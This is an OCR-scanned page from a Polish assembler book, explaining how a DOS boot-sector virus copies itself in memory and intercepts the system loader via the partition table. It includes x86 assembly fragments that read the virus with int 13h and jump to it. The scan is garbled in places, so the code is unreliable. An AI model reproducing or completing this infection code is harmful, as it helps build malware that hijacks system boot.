PDS058 TIF

PDS058 TIF



58

mov    cx,offset koniec[lOh]

cld    ; przekopiowanie wirusa do miejsca, które

rep    movsb    ;    zostało    mu przydzielone

mov    ax,offset    skok_po_przeniesieniu_w_pamieci

push    ax    ;    skok do    miejsca w które    wirus został

retf    ; przekopiowany

Skok_po_przeniesieniu_w_pamieci:

calł    zm i en_adresy_jor zerwań ; patrz poprzednie procedury

koniec_przechwytywania_przerwań:

pop    es

pop    ds

ret

Przechwytywanie programu ładującego system operacyjny

Przy przechwytywaniu procedury ładującej system operacyjny, wirus korzysta z faktu, że podczas wczytywania systemu zawsze pierwszy sektor dysku (ścieżka 0, głowica 0, sektor 1) jest wczytywany pod stały adres w pamięci (0;7C00) i wykonywany jest program zawarty w tym sektorze, Ponieważ sektor ten jest zarażony przez wirusa wczytywanie systemu odbywa się w następujący sposób;

—    wczytanie zarażonego sektora

—    oddanie sterowania do wirusa

—    wczytanie przez wirusa reszty swojego kodu

—    instalacja (pierwszy etap) wirusa w systemie

—    wczytanie oryginalnego pierwszego sektora

—    oddanie sterowania do oryginalnej procedury ładującej

Pod spodem przedstawiona jest typowa procedura przechwytująca ładowanie systemu z tablicy partycji dysku twardego.

tablica_partycj i:

xor

ax, ax

t

mov

ss, ax

4

t

mov

sp,7cQ0h

P

int

1 2h

r

mov

ci, e

b

r

shł

ax, cl

t

mov

cx,lOOh

sub

ax, cx

mov

adres,ax

mov

dx,80h

mov

cx( 2


Stos jest tak samo ustawiany w oryginalnej procedurze lądującej system operacyjny

Pobranie rozmiaru pamięci operacyjnej Ustalenie segmentu, który zaczyna sie 4KB przed koncern pamięci

mov    e s, ax

mov    bx,0

mov    ax,0206h

int    13h    ;    Wczytanie    wirusa pod ten adres

itlov    ax, adres

push    ax

mov    ax, offset    czesc_inic;jujaca

push    ax    ; Skok do adresu csesc_inicjujaca w obszarze

retf    ; do ktorego został wczytany wirus

adres dw (?)    adres, pod któ.ry wczytuje sie wirus

koniec_tablicy_partycj i:

czesc„

,inic juj aca;

mov

ax, cs

mov

ss, ax

mov

ds, ax

mov

sp,offset bufor[10Oh]

mov

dx,80h

mov

cx, 9

xor

ax, ax

mov

es, ax

mov

bx,7c00h

push

es

push

bx


Wyszukiwarka

Podobne podstrony:
pds058 (2) tif 58 Asembler. Poradnik użytkownika formacja o miejscu danej potrzebnej do danego rozka
174 TIF Znaleziono: mov eax, cch sub eax, ecx Koniec: dec eax }} #pragma warning( default:
assembler?86? 8 176 6. Makrojęzyk asemblera MA SM MOV SI,OFFSET ZRODLO MOV DI,OFFSET PRZEZNACZENIE
PDS059 TIF 59 mov    ax,Q2Qlh int    13h    ; wezy
065 tif 3.1. TRANSFORMATORY I AUTOTRANSFORMATORY obciążenia — bez konieczności zwiększenia liczby
Creat0007 TIF 58 Wiadomo, że stąd U =u =U =U • b c fu =u =u =u ab bc ca U=2 U • cos30 U=V3 • U (6.3
assembler?86? 0 1 1 140 5. Rozkazy mikroprocesorów 8086/8088 MOVS CEL, ZRODLO MOV SI, OFFSET ZRODL
assembler?86? 2 144 5. Rozkazy mikroprocesorów 8086/8088Przykład MOV AL, 20H    ; s
58 Uwagi: 1) L kurs liczy się w obrębie Stacji Klimatycznej do miejsc bliżej dworca położonych. II k
PwTiR030 58 Rozdział 2 podkreślić istnienie domniemania prawnego, że dane wpisane do KRS są prawdziw
terminy tif 566 Sicct A.7/Vt MAN t U AN -    Ao/m/mAiH^y/fc4 przydatnych do wyc

więcej podobnych podstron